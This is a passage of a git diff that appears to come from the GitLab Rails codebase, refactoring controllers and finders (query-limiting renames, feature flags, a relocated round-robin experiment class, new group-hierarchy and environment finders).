index 9b5f5871c41..ee1e10221ec 100644
--- a/app/controllers/projects/pipelines_controller.rb
+++ b/app/controllers/projects/pipelines_controller.rb
@@ -4,7 +4,7 @@ class Projects::PipelinesController < Projects::ApplicationController
include ::Gitlab::Utils::StrongMemoize
include Analytics::UniqueVisitsHelper
- before_action :whitelist_query_limiting, only: [:create, :retry]
+ before_action :disable_query_limiting, only: [:create, :retry]
before_action :pipeline, except: [:index, :new, :create, :charts, :config_variables]
before_action :set_pipeline_path, only: [:show]
before_action :authorize_read_pipeline!
@@ -14,10 +14,11 @@ class Projects::PipelinesController < Projects::ApplicationController
before_action :authorize_update_pipeline!, only: [:retry, :cancel]
before_action do
push_frontend_feature_flag(:new_pipeline_form, project, default_enabled: :yaml)
+ push_frontend_feature_flag(:pipeline_graph_layers_view, project, type: :development, default_enabled: :yaml)
+ push_frontend_feature_flag(:pipeline_filter_jobs, project, default_enabled: :yaml)
push_frontend_feature_flag(:graphql_pipeline_details, project, type: :development, default_enabled: :yaml)
push_frontend_feature_flag(:graphql_pipeline_details_users, current_user, type: :development, default_enabled: :yaml)
push_frontend_feature_flag(:jira_for_vulnerabilities, project, type: :development, default_enabled: :yaml)
- push_frontend_feature_flag(:new_pipelines_table, project, default_enabled: :yaml)
end
before_action :ensure_pipeline, only: [:show]
@@ -44,7 +45,17 @@ class Projects::PipelinesController < Projects::ApplicationController
@pipelines_count = limited_pipelines_count(project)
respond_to do |format|
- format.html
+ format.html do
+ experiment(:pipeline_empty_state_templates, actor: current_user) do |e|
+ e.exclude! unless current_user
+ e.exclude! if @pipelines_count.to_i > 0
+ e.exclude! if helpers.has_gitlab_ci?(project)
+
+ e.use {}
+ e.try {}
+ e.track(:view, value: project.namespace_id)
+ end
+ end
format.json do
Gitlab::PollingInterval.set_header(response, interval: POLLING_INTERVAL)
@@ -92,10 +103,10 @@ class Projects::PipelinesController < Projects::ApplicationController
end
def show
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/-/issues/26657')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/26657')
respond_to do |format|
- format.html
+ format.html { render_show }
format.json do
Gitlab::PollingInterval.set_header(response, interval: POLLING_INTERVAL)
@@ -150,15 +161,6 @@ class Projects::PipelinesController < Projects::ApplicationController
.represent(@stage, details: true, retried: params[:retried])
end
- # TODO: This endpoint is used by mini-pipeline-graph
- # TODO: This endpoint should be migrated to `stage.json`
- def stage_ajax
- @stage = pipeline.legacy_stage(params[:stage])
- return not_found unless @stage
-
- render json: { html: view_to_html_string('projects/pipelines/_stage') }
- end
-
def retry
pipeline.retry_failed(current_user)
@@ -185,10 +187,7 @@ class Projects::PipelinesController < Projects::ApplicationController
def test_report
respond_to do |format|
- format.html do
- render 'show'
- end
-
+ format.html { render_show }
format.json do
render json: TestReportSerializer
.new(current_user: @current_user)
@@ -217,6 +216,8 @@ class Projects::PipelinesController < Projects::ApplicationController
end
def render_show
+ @stages = @pipeline.stages.with_latest_and_retried_statuses
+
respond_to do |format|
format.html do
render 'show'
@@ -269,9 +270,9 @@ class Projects::PipelinesController < Projects::ApplicationController
&.present(current_user: current_user)
end
- def whitelist_query_limiting
- # Also see https://gitlab.com/gitlab-org/gitlab-foss/issues/42343
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42339')
+ def disable_query_limiting
+ # Also see https://gitlab.com/gitlab-org/gitlab/-/issues/20785
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20784')
end
def authorize_update_pipeline!
diff --git a/app/controllers/projects/registry/repositories_controller.rb b/app/controllers/projects/registry/repositories_controller.rb
index 28a86ecc9f0..8acebd89033 100644
--- a/app/controllers/projects/registry/repositories_controller.rb
+++ b/app/controllers/projects/registry/repositories_controller.rb
@@ -6,22 +6,11 @@ module Projects
include PackagesHelper
before_action :authorize_update_container_image!, only: [:destroy]
- before_action :ensure_root_container_repository!, only: [:index]
def index
respond_to do |format|
- format.html
- format.json do
- @images = ContainerRepositoriesFinder.new(user: current_user, subject: project, params: params.slice(:name))
- .execute
-
- track_package_event(:list_repositories, :container)
-
- serializer = ContainerRepositoriesSerializer
- .new(project: project, current_user: current_user)
-
- render json: serializer.with_pagination(request, response).represent(@images)
- end
+ format.html { ensure_root_container_repository! }
+ format.json { render_404 }
end
end
diff --git a/app/controllers/projects/releases_controller.rb b/app/controllers/projects/releases_controller.rb
index 614bada09ed..26382856761 100644
--- a/app/controllers/projects/releases_controller.rb
+++ b/app/controllers/projects/releases_controller.rb
@@ -12,7 +12,6 @@ class Projects::ReleasesController < Projects::ApplicationController
push_frontend_feature_flag(:graphql_release_data, project, default_enabled: true)
push_frontend_feature_flag(:graphql_milestone_stats, project, default_enabled: true)
push_frontend_feature_flag(:graphql_releases_page, project, default_enabled: true)
- push_frontend_feature_flag(:graphql_individual_release_page, project, default_enabled: true)
end
before_action :authorize_update_release!, only: %i[edit update]
before_action :authorize_create_release!, only: :new
diff --git a/app/controllers/projects/services_controller.rb b/app/controllers/projects/services_controller.rb
index 554eb01defe..ccb8b393bfe 100644
--- a/app/controllers/projects/services_controller.rb
+++ b/app/controllers/projects/services_controller.rb
@@ -71,7 +71,7 @@ class Projects::ServicesController < Projects::ApplicationController
end
result[:data].presence || {}
- rescue Gitlab::HTTP::BlockedUrlError => e
+ rescue *Gitlab::HTTP::HTTP_ERRORS => e
{ error: true, message: s_('Integrations|Connection failed. Please check your settings.'), service_response: e.message, test_failed: true }
end
diff --git a/app/controllers/projects/settings/access_tokens_controller.rb b/app/controllers/projects/settings/access_tokens_controller.rb
index 74350147825..e3bb8c616df 100644
--- a/app/controllers/projects/settings/access_tokens_controller.rb
+++ b/app/controllers/projects/settings/access_tokens_controller.rb
@@ -5,7 +5,10 @@ module Projects
class AccessTokensController < Projects::ApplicationController
include ProjectsHelper
- before_action :check_feature_availability
+ layout 'project_settings'
+ before_action -> { check_permission(:read_resource_access_tokens) }, only: [:index]
+ before_action -> { check_permission(:destroy_resource_access_tokens) }, only: [:revoke]
+ before_action -> { check_permission(:create_resource_access_tokens) }, only: [:create]
feature_category :authentication_and_authorization
@@ -42,8 +45,8 @@ module Projects
private
- def check_feature_availability
- render_404 unless project_access_token_available?(@project)
+ def check_permission(action)
+ render_404 unless can?(current_user, action, @project)
end
def create_params
diff --git a/app/controllers/projects/settings/ci_cd_controller.rb b/app/controllers/projects/settings/ci_cd_controller.rb
index 34b11c456b9..1a465406660 100644
--- a/app/controllers/projects/settings/ci_cd_controller.rb
+++ b/app/controllers/projects/settings/ci_cd_controller.rb
@@ -7,6 +7,7 @@ module Projects
NUMBER_OF_RUNNERS_PER_PAGE = 20
+ layout 'project_settings'
before_action :authorize_admin_pipeline!
before_action :define_variables
before_action do
@@ -61,7 +62,7 @@ module Projects
end
def runner_setup_scripts
- private_runner_setup_scripts(project: @project)
+ private_runner_setup_scripts
end
private
diff --git a/app/controllers/projects/settings/operations_controller.rb b/app/controllers/projects/settings/operations_controller.rb
index c407b15e29f..a05793a0283 100644
--- a/app/controllers/projects/settings/operations_controller.rb
+++ b/app/controllers/projects/settings/operations_controller.rb
@@ -3,6 +3,7 @@
module Projects
module Settings
class OperationsController < Projects::ApplicationController
+ layout 'project_settings'
before_action :authorize_admin_operations!
before_action :authorize_read_prometheus_alerts!, only: [:reset_alerting_token]
diff --git a/app/controllers/projects/settings/repository_controller.rb b/app/controllers/projects/settings/repository_controller.rb
index 821560e32ba..bb5ad8e9aea 100644
--- a/app/controllers/projects/settings/repository_controller.rb
+++ b/app/controllers/projects/settings/repository_controller.rb
@@ -3,6 +3,7 @@
module Projects
module Settings
class RepositoryController < Projects::ApplicationController
+ layout 'project_settings'
before_action :authorize_admin_project!
before_action :define_variables, only: [:create_deploy_token]
before_action do
diff --git a/app/controllers/projects/tags_controller.rb b/app/controllers/projects/tags_controller.rb
index 94b0473e1f3..3bf9988ca22 100644
--- a/app/controllers/projects/tags_controller.rb
+++ b/app/controllers/projects/tags_controller.rb
@@ -9,6 +9,9 @@ class Projects::TagsController < Projects::ApplicationController
before_action :require_non_empty_project
before_action :authorize_download_code!
before_action :authorize_admin_tag!, only: [:new, :create, :destroy]
+ before_action do
+ push_frontend_feature_flag(:gldropdown_tags, default_enabled: :yaml)
+ end
feature_category :source_code_management, [:index, :show, :new, :destroy]
feature_category :release_evidence, [:create]
diff --git a/app/controllers/projects_controller.rb b/app/controllers/projects_controller.rb
index bc48ebd1c74..7c9d6daad02 100644
--- a/app/controllers/projects_controller.rb
+++ b/app/controllers/projects_controller.rb
@@ -14,7 +14,7 @@ class ProjectsController < Projects::ApplicationController
around_action :allow_gitaly_ref_name_caching, only: [:index, :show]
- before_action :whitelist_query_limiting, only: [:show, :create]
+ before_action :disable_query_limiting, only: [:show, :create]
before_action :authenticate_user!, except: [:index, :show, :activity, :refs, :resolve, :unfoldered_environment_names]
before_action :redirect_git_extension, only: [:show]
before_action :project, except: [:index, :new, :create, :resolve]
@@ -35,6 +35,10 @@ class ProjectsController < Projects::ApplicationController
push_frontend_feature_flag(:allow_editing_commit_messages, @project)
end
+ before_action do
+ push_frontend_feature_flag(:refactor_blob_viewer, @project, default_enabled: :yaml)
+ end
+
layout :determine_layout
feature_category :projects, [
@@ -70,6 +74,7 @@ class ProjectsController < Projects::ApplicationController
@project = ::Projects::CreateService.new(current_user, project_params(attributes: project_params_create_attributes)).execute
if @project.saved?
+ experiment(:new_repo, user: current_user).track(:project_created)
experiment(:new_project_readme, actor: current_user).track(
:created,
property: active_new_project_tab,
@@ -399,6 +404,7 @@ class ProjectsController < Projects::ApplicationController
show_default_award_emojis
squash_option
allow_editing_commit_messages
+ mr_default_target_self
]
end
@@ -510,8 +516,8 @@ class ProjectsController < Projects::ApplicationController
redirect_to(request.original_url.sub(%r{\.git/?\Z}, ''))
end
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/-/issues/20826')
+ def disable_query_limiting
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20826')
end
def present_project
diff --git a/app/controllers/registrations/experience_levels_controller.rb b/app/controllers/registrations/experience_levels_controller.rb
index b6ed0366177..3a721823d89 100644
--- a/app/controllers/registrations/experience_levels_controller.rb
+++ b/app/controllers/registrations/experience_levels_controller.rb
@@ -6,7 +6,7 @@ module Registrations
before_action :ensure_namespace_path_param
- feature_category :navigation
+ feature_category :onboarding
def update
current_user.experience_level = params[:experience_level]
diff --git a/app/controllers/registrations/welcome_controller.rb b/app/controllers/registrations/welcome_controller.rb
index a1a6a057171..62ec03206c4 100644
--- a/app/controllers/registrations/welcome_controller.rb
+++ b/app/controllers/registrations/welcome_controller.rb
@@ -35,7 +35,7 @@ module Registrations
end
def update_params
- params.require(:user).permit(:role, :other_role, :setup_for_company)
+ params.require(:user).permit(:role, :other_role, :setup_for_company, :email_opted_in)
end
def requires_confirmation?(user)
diff --git a/app/controllers/registrations_controller.rb b/app/controllers/registrations_controller.rb
index 44c08863dd6..61218a95add 100644
--- a/app/controllers/registrations_controller.rb
+++ b/app/controllers/registrations_controller.rb
@@ -9,7 +9,7 @@ class RegistrationsController < Devise::RegistrationsController
layout 'devise'
prepend_before_action :check_captcha, only: :create
- before_action :whitelist_query_limiting, :ensure_destroy_prerequisites_met, only: [:destroy]
+ before_action :ensure_destroy_prerequisites_met, only: [:destroy]
before_action :load_recaptcha, only: :new
before_action :set_invite_params, only: :new
@@ -162,10 +162,6 @@ class RegistrationsController < Devise::RegistrationsController
@devise_mapping ||= Devise.mappings[:user]
end
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42380')
- end
-
def load_recaptcha
Gitlab::Recaptcha.load_configurations!
end
diff --git a/app/controllers/root_controller.rb b/app/controllers/root_controller.rb
index dab2f3bd67a..672a03ad11d 100644
--- a/app/controllers/root_controller.rb
+++ b/app/controllers/root_controller.rb
@@ -13,7 +13,6 @@ class RootController < Dashboard::ProjectsController
before_action :redirect_unlogged_user, if: -> { current_user.nil? }
before_action :redirect_logged_user, if: -> { current_user.present? }
- before_action :customize_homepage, only: :index, if: -> { current_user.present? }
# We only need to load the projects when the user is logged in but did not
# configure a dashboard. In which case we render projects. We can do that straight
# from the #index action.
@@ -69,10 +68,6 @@ class RootController < Dashboard::ProjectsController
root_urls.exclude?(home_page_url)
end
-
- def customize_homepage
- @customize_homepage = Feature.enabled?(:customize_homepage, default_enabled: :yaml)
- end
end
RootController.prepend_if_ee('EE::RootController')
diff --git a/app/controllers/search_controller.rb b/app/controllers/search_controller.rb
index 45c1c35a655..3b218822395 100644
--- a/app/controllers/search_controller.rb
+++ b/app/controllers/search_controller.rb
@@ -47,7 +47,11 @@ class SearchController < ApplicationController
params.require([:search, :scope])
scope = search_service.scope
- count = search_service.search_results.formatted_count(scope)
+
+ count = 0
+ ApplicationRecord.with_fast_read_statement_timeout do
+ count = search_service.search_results.formatted_count(scope)
+ end
# Users switching tabs will keep fetching the same tab counts so it's a
# good idea to cache in their browser just for a short time. They can still
diff --git a/app/controllers/whats_new_controller.rb b/app/controllers/whats_new_controller.rb
index 12a52f30bd0..e24b0bbc7bb 100644
--- a/app/controllers/whats_new_controller.rb
+++ b/app/controllers/whats_new_controller.rb
@@ -5,7 +5,7 @@ class WhatsNewController < ApplicationController
skip_before_action :authenticate_user!
- before_action :check_valid_page_param, :set_pagination_headers, unless: -> { has_version_param? }
+ before_action :check_valid_page_param, :set_pagination_headers
feature_category :navigation
@@ -29,19 +29,11 @@ class WhatsNewController < ApplicationController
def highlights
strong_memoize(:highlights) do
- if has_version_param?
- ReleaseHighlight.for_version(version: params[:version])
- else
- ReleaseHighlight.paginated(page: current_page)
- end
+ ReleaseHighlight.paginated(page: current_page)
end
end
def set_pagination_headers
response.set_header('X-Next-Page', highlights.next_page)
end
-
- def has_version_param?
- params[:version].present?
- end
end
diff --git a/app/experiments/application_experiment.rb b/app/experiments/application_experiment.rb
index ed0d146af8c..01105f6cec4 100644
--- a/app/experiments/application_experiment.rb
+++ b/app/experiments/application_experiment.rb
@@ -27,7 +27,7 @@ class ApplicationExperiment < Gitlab::Experiment # rubocop:disable Gitlab/Namesp
# track the event, and mix in the experiment signature data
Gitlab::Tracking.event(name, action.to_s, **event_args.merge(
context: (event_args[:context] || []) << SnowplowTracker::SelfDescribingJson.new(
- 'iglu:com.gitlab/gitlab_experiment/jsonschema/0-3-0', signature
+ 'iglu:com.gitlab/gitlab_experiment/jsonschema/1-0-0', signature
)
))
end
diff --git a/app/experiments/members/invite_email_experiment.rb b/app/experiments/members/invite_email_experiment.rb
index a0f4dee2866..6a7d2b110d3 100644
--- a/app/experiments/members/invite_email_experiment.rb
+++ b/app/experiments/members/invite_email_experiment.rb
@@ -8,7 +8,82 @@ module Members
INVITE_TYPE = 'initial_email'
def resolve_variant_name
- Strategy::RoundRobin.new(feature_flag_name, %i[avatar permission_info control]).execute
+ RoundRobin.new(feature_flag_name, %i[avatar permission_info control]).execute
+ end
+ end
+
+ class RoundRobin
+ CacheError = Class.new(StandardError)
+
+ COUNTER_EXPIRE_TIME = 86400 # one day
+
+ def initialize(key, variants)
+ @key = key
+ @variants = variants
+ end
+
+ def execute
+ increment_counter
+ resolve_variant_name
+ end
+
+ # When the counter would expire
+ #
+ # @api private Used internally by SRE and debugging purpose
+ # @return [Integer] Number in seconds until expiration or false if never
+ def counter_expires_in
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.ttl(key)
+ end
+ end
+
+ # Return the actual counter value
+ #
+ # @return [Integer] value
+ def counter_value
+ Gitlab::Redis::SharedState.with do |redis|
+ (redis.get(key) || 0).to_i
+ end
+ end
+
+ # Reset the counter
+ #
+ # @private Used internally by SRE and debugging purpose
+ # @return [Boolean] whether reset was a success
+ def reset!
+ redis_cmd do |redis|
+ redis.del(key)
+ end
+ end
+
+ private
+
+ attr_reader :key, :variants
+
+ # Increase the counter
+ #
+ # @return [Boolean] whether operation was a success
+ def increment_counter
+ redis_cmd do |redis|
+ redis.incr(key)
+ redis.expire(key, COUNTER_EXPIRE_TIME)
+ end
+ end
+
+ def resolve_variant_name
+ remainder = counter_value % variants.size
+
+ variants[remainder]
+ end
+
+ def redis_cmd
+ Gitlab::Redis::SharedState.with { |redis| yield(redis) }
+
+ true
+ rescue CacheError => e
+ Gitlab::AppLogger.warn("GitLab: An unexpected error occurred in writing to Redis: #{e}")
+
+ false
end
end
end
diff --git a/app/experiments/strategy/round_robin.rb b/app/experiments/strategy/round_robin.rb
deleted file mode 100644
index 7b80c0e984d..00000000000
--- a/app/experiments/strategy/round_robin.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-# frozen_string_literal: true
-
-module Strategy
- class RoundRobin
- CacheError = Class.new(StandardError)
-
- COUNTER_EXPIRE_TIME = 86400 # one day
-
- def initialize(key, variants)
- @key = key
- @variants = variants
- end
-
- def execute
- increment_counter
- resolve_variant_name
- end
-
- # When the counter would expire
- #
- # @api private Used internally by SRE and debugging purpose
- # @return [Integer] Number in seconds until expiration or false if never
- def counter_expires_in
- Gitlab::Redis::SharedState.with do |redis|
- redis.ttl(key)
- end
- end
-
- # Return the actual counter value
- #
- # @return [Integer] value
- def counter_value
- Gitlab::Redis::SharedState.with do |redis|
- (redis.get(key) || 0).to_i
- end
- end
-
- # Reset the counter
- #
- # @private Used internally by SRE and debugging purpose
- # @return [Boolean] whether reset was a success
- def reset!
- redis_cmd do |redis|
- redis.del(key)
- end
- end
-
- private
-
- attr_reader :key, :variants
-
- # Increase the counter
- #
- # @return [Boolean] whether operation was a success
- def increment_counter
- redis_cmd do |redis|
- redis.incr(key)
- redis.expire(key, COUNTER_EXPIRE_TIME)
- end
- end
-
- def resolve_variant_name
- remainder = counter_value % variants.size
-
- variants[remainder]
- end
-
- def redis_cmd
- Gitlab::Redis::SharedState.with { |redis| yield(redis) }
-
- true
- rescue CacheError => e
- Gitlab::AppLogger.warn("GitLab: An unexpected error occurred in writing to Redis: #{e}")
-
- false
- end
- end
-end
diff --git a/app/finders/alert_management/http_integrations_finder.rb b/app/finders/alert_management/http_integrations_finder.rb
index 9f511be0ace..5d4c9b6fbe3 100644
--- a/app/finders/alert_management/http_integrations_finder.rb
+++ b/app/finders/alert_management/http_integrations_finder.rb
@@ -27,7 +27,7 @@ module AlertManagement
first_id = project.alert_management_http_integrations
.ordered_by_id
.select(:id)
- .at_most(1)
+ .limit(1)
@collection = collection.id_in(first_id)
end
diff --git a/app/finders/applications_finder.rb b/app/finders/applications_finder.rb
index 3ded90f3fd5..c5b5094b195 100644
--- a/app/finders/applications_finder.rb
+++ b/app/finders/applications_finder.rb
@@ -17,6 +17,6 @@ class ApplicationsFinder
def by_id(applications)
return applications unless params[:id]
- Doorkeeper::Application.find_by(id: params[:id]) # rubocop: disable CodeReuse/ActiveRecord
+ applications.find_by(id: params[:id]) # rubocop: disable CodeReuse/ActiveRecord
end
end
diff --git a/app/finders/award_emojis_finder.rb b/app/finders/award_emojis_finder.rb
index 7882beb64bf..9ff64637128 100644
--- a/app/finders/award_emojis_finder.rb
+++ b/app/finders/award_emojis_finder.rb
@@ -13,8 +13,7 @@ class AwardEmojisFinder
def execute
awards = awardable.award_emoji
awards = by_name(awards)
- awards = by_awarded_by(awards)
- awards
+ by_awarded_by(awards)
end
private
diff --git a/app/finders/branches_finder.rb b/app/finders/branches_finder.rb
index 2eee90a512a..157c454183a 100644
--- a/app/finders/branches_finder.rb
+++ b/app/finders/branches_finder.rb
@@ -11,8 +11,7 @@ class BranchesFinder < GitRefsFinder
else
branches = repository.branches_sorted_by(sort)
branches = by_search(branches)
- branches = by_names(branches)
- branches
+ by_names(branches)
end
end
diff --git a/app/finders/ci/commit_statuses_finder.rb b/app/finders/ci/commit_statuses_finder.rb
index d49ec7ebb40..c3d0a34d2ff 100644
--- a/app/finders/ci/commit_statuses_finder.rb
+++ b/app/finders/ci/commit_statuses_finder.rb
@@ -21,9 +21,9 @@ module Ci
def latest_commits
strong_memoize(:latest_commits) do
- refs.map do |ref|
+ refs.to_h do |ref|
[ref.name, @repository.commit(ref.dereferenced_target).sha]
- end.to_h
+ end
end
end
diff --git a/app/finders/ci/daily_build_group_report_results_finder.rb b/app/finders/ci/daily_build_group_report_results_finder.rb
index 9e736c70dda..5ac1bbd0670 100644
--- a/app/finders/ci/daily_build_group_report_results_finder.rb
+++ b/app/finders/ci/daily_build_group_report_results_finder.rb
@@ -35,8 +35,7 @@ module Ci
return Ci::DailyBuildGroupReportResult.none unless query_allowed?
collection = Ci::DailyBuildGroupReportResult.by_projects(params[:project])
- collection = filter_report_results(collection)
- collection
+ filter_report_results(collection)
end
private
@@ -51,8 +50,7 @@ module Ci
collection = by_dates(collection)
collection = sort(collection)
- collection = limit_by(collection)
- collection
+ limit_by(collection)
end
def by_coverage(items)
diff --git a/app/finders/ci/pipelines_finder.rb b/app/finders/ci/pipelines_finder.rb
index a77faebb160..e509cf940b8 100644
--- a/app/finders/ci/pipelines_finder.rb
+++ b/app/finders/ci/pipelines_finder.rb
@@ -131,7 +131,7 @@ module Ci
def by_yaml_errors(items)
case Gitlab::Utils.to_boolean(params[:yaml_errors])
when true
- items.where("yaml_errors IS NOT NULL")
+ items.where.not(yaml_errors: nil)
when false
items.where("yaml_errors IS NULL")
else
diff --git a/app/finders/ci/variables_finder.rb b/app/finders/ci/variables_finder.rb
index d933643ffb2..39a1a60596d 100644
--- a/app/finders/ci/variables_finder.rb
+++ b/app/finders/ci/variables_finder.rb
@@ -2,23 +2,23 @@
module Ci
class VariablesFinder
- attr_reader :project, :params
-
- def initialize(project, params)
- @project, @params = project, params
+ def initialize(resource, params)
+ @resource = resource
+ @params = params
raise ArgumentError, 'Please provide params[:key]' if params[:key].blank?
end
def execute
- variables = project.variables
+ variables = resource.variables
variables = by_key(variables)
- variables = by_environment_scope(variables)
- variables
+ by_environment_scope(variables)
end
private
+ attr_reader :resource, :params
+
def by_key(variables)
variables.by_key(params[:key])
end
diff --git a/app/finders/concerns/finder_with_group_hierarchy.rb b/app/finders/concerns/finder_with_group_hierarchy.rb
new file mode 100644
index 00000000000..86ccac19b63
--- /dev/null
+++ b/app/finders/concerns/finder_with_group_hierarchy.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+# Module to include into finders to provide support for querying for
+# objects up and down the group hierarchy. Extracted from LabelsFinder
+#
+# Supports params:
+# :group
+# :group_id
+# :include_ancestor_groups
+# :include_descendant_groups
+module FinderWithGroupHierarchy
+ extend ActiveSupport::Concern
+
+ private
+
+ def item_ids
+ raise NotImplementedError
+ end
+
+ # Gets redacted array of group ids
+ # which can include the ancestors and descendants of the requested group.
+ def group_ids_for(group)
+ strong_memoize(:group_ids) do
+ groups = groups_to_include(group)
+
+ # Because we are sure that all groups are in the same hierarchy tree
+ # we can preset root group for all of them to optimize permission checks
+ Group.preset_root_ancestor_for(groups)
+
+ groups_user_can_read_items(groups).map(&:id)
+ end
+ end
+
+ def groups_to_include(group)
+ groups = [group]
+
+ groups += group.ancestors if include_ancestor_groups?
+ groups += group.descendants if include_descendant_groups?
+
+ groups
+ end
+
+ def include_ancestor_groups?
+ params[:include_ancestor_groups]
+ end
+
+ def include_descendant_groups?
+ params[:include_descendant_groups]
+ end
+
+ def group?
+ params[:group].present? || params[:group_id].present?
+ end
+
+ def group
+ strong_memoize(:group) { params[:group].presence || Group.find(params[:group_id]) }
+ end
+
+ def read_permission
+ raise NotImplementedError
+ end
+
+ def authorized_to_read_item?(item_parent)
+ return true if skip_authorization
+
+ Ability.allowed?(current_user, read_permission, item_parent)
+ end
+
+ def groups_user_can_read_items(groups)
+ DeclarativePolicy.user_scope do
+ groups.select { |group| authorized_to_read_item?(group) }
+ end
+ end
+end
diff --git a/app/finders/concerns/merged_at_filter.rb b/app/finders/concerns/merged_at_filter.rb
index 581bcca3c25..e44354f36d1 100644
--- a/app/finders/concerns/merged_at_filter.rb
+++ b/app/finders/concerns/merged_at_filter.rb
@@ -10,7 +10,7 @@ module MergedAtFilter
mr_metrics_scope = mr_metrics_scope.merged_after(merged_after) if merged_after.present?
mr_metrics_scope = mr_metrics_scope.merged_before(merged_before) if merged_before.present?
- items.join_metrics.merge(mr_metrics_scope)
+ join_metrics(items, mr_metrics_scope)
end
def merged_after
@@ -20,4 +20,22 @@ module MergedAtFilter
def merged_before
params[:merged_before]
end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ #
+ # This join optimizes merged_at queries when the finder is invoked for a project by moving
+ # the target_project_id condition from merge_requests table to merge_request_metrics table.
+ def join_metrics(items, mr_metrics_scope)
+ scope = if project_id = items.where_values_hash["target_project_id"]
+ # removing the original merge_requests.target_project_id condition
+ items = items.unscope(where: :target_project_id)
+ # adding the target_project_id condition to merge_request_metrics
+ items.join_metrics(project_id)
+ else
+ items.join_metrics
+ end
+
+ scope.merge(mr_metrics_scope)
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
end
diff --git a/app/finders/concerns/packages/finder_helper.rb b/app/finders/concerns/packages/finder_helper.rb
index 30bc0ff7909..39c018818d1 100644
--- a/app/finders/concerns/packages/finder_helper.rb
+++ b/app/finders/concerns/packages/finder_helper.rb
@@ -11,22 +11,26 @@ module Packages
def packages_visible_to_user(user, within_group:)
return ::Packages::Package.none unless within_group
- return ::Packages::Package.none unless Ability.allowed?(user, :read_package, within_group)
+ return ::Packages::Package.none unless Ability.allowed?(user, :read_group, within_group)
- projects = projects_visible_to_reporters(user, within_group.self_and_descendants.select(:id))
+ projects = projects_visible_to_reporters(user, within_group: within_group)
::Packages::Package.for_projects(projects.select(:id))
end
def projects_visible_to_user(user, within_group:)
return ::Project.none unless within_group
- return ::Project.none unless Ability.allowed?(user, :read_package, within_group)
+ return ::Project.none unless Ability.allowed?(user, :read_group, within_group)
- projects_visible_to_reporters(user, within_group.self_and_descendants.select(:id))
+ projects_visible_to_reporters(user, within_group: within_group)
end
- def projects_visible_to_reporters(user, namespace_ids)
- ::Project.in_namespace(namespace_ids)
- .public_or_visible_to_user(user, ::Gitlab::Access::REPORTER)
+ def projects_visible_to_reporters(user, within_group:)
+ if user.is_a?(DeployToken) && Feature.enabled?(:packages_finder_helper_deploy_token)
+ user.accessible_projects
+ else
+ within_group.all_projects
+ .public_or_visible_to_user(user, ::Gitlab::Access::REPORTER)
+ end
end
def package_type
diff --git a/app/finders/context_commits_finder.rb b/app/finders/context_commits_finder.rb
index de89a556ee0..d623854ada4 100644
--- a/app/finders/context_commits_finder.rb
+++ b/app/finders/context_commits_finder.rb
@@ -11,9 +11,7 @@ class ContextCommitsFinder
def execute
commits = init_collection
- commits = filter_existing_commits(commits)
-
- commits
+ filter_existing_commits(commits)
end
private
@@ -21,19 +19,15 @@ class ContextCommitsFinder
attr_reader :project, :merge_request, :search, :limit, :offset
def init_collection
- commits =
- if search.present?
- search_commits
- else
- project.repository.commits(merge_request.target_branch, { limit: limit, offset: offset })
- end
-
- commits
+ if search.present?
+ search_commits
+ else
+ project.repository.commits(merge_request.target_branch, { limit: limit, offset: offset })
+ end
end
def filter_existing_commits(commits)
commits.select! { |commit| already_included_ids.exclude?(commit.id) }
-
commits
end
diff --git a/app/finders/deployments_finder.rb b/app/finders/deployments_finder.rb
index 89a28d9dfb8..ae26fc14ad5 100644
--- a/app/finders/deployments_finder.rb
+++ b/app/finders/deployments_finder.rb
@@ -33,9 +33,7 @@ class DeploymentsFinder
items = by_environment(items)
items = by_status(items)
items = preload_associations(items)
- items = sort(items)
-
- items
+ sort(items)
end
private
diff --git a/app/finders/environments_by_deployments_finder.rb b/app/finders/environments_by_deployments_finder.rb
new file mode 100644
index 00000000000..76e1c050ea5
--- /dev/null
+++ b/app/finders/environments_by_deployments_finder.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+class EnvironmentsByDeploymentsFinder
+ attr_reader :project, :current_user, :params
+
+ def initialize(project, current_user, params = {})
+ @project = project
+ @current_user = current_user
+ @params = params
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def execute
+ deployments = project.deployments
+ deployments =
+ if ref
+ deployments_query = params[:with_tags] ? 'ref = :ref OR tag IS TRUE' : 'ref = :ref'
+ deployments.where(deployments_query, ref: ref.to_s)
+ elsif commit
+ deployments.where(sha: commit.sha)
+ else
+ deployments.none
+ end
+
+ environment_ids = deployments
+ .group(:environment_id)
+ .select(:environment_id)
+
+ environments = project.environments.available
+ .where(id: environment_ids)
+
+ if params[:find_latest]
+ find_one(environments.order_by_last_deployed_at_desc)
+ else
+ find_all(environments.order_by_last_deployed_at.to_a)
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ private
+
+ def find_one(environments)
+ [environments.find { |environment| valid_environment?(environment) }].compact
+ end
+
+ def find_all(environments)
+ environments.select { |environment| valid_environment?(environment) }
+ end
+
+ def valid_environment?(environment)
+ # Go in order of cost: SQL calls are cheaper than Gitaly calls
+ return false unless Ability.allowed?(current_user, :read_environment, environment)
+
+ return false if ref && params[:recently_updated] && !environment.recently_updated_on_branch?(ref)
+ return false if ref && commit && !environment.includes_commit?(commit)
+
+ true
+ end
+
+ def ref
+ params[:ref].try(:to_s)
+ end
+
+ def commit
+ params[:commit]
+ end
+end
diff --git a/app/finders/environments_finder.rb b/app/finders/environments_finder.rb
index 32ca1a42db7..c64e850f440 100644
--- a/app/finders/environments_finder.rb
+++ b/app/finders/environments_finder.rb
@@ -6,81 +6,22 @@ class EnvironmentsFinder
InvalidStatesError = Class.new(StandardError)
def initialize(project, current_user, params = {})
- @project, @current_user, @params = project, current_user, params
+ @project = project
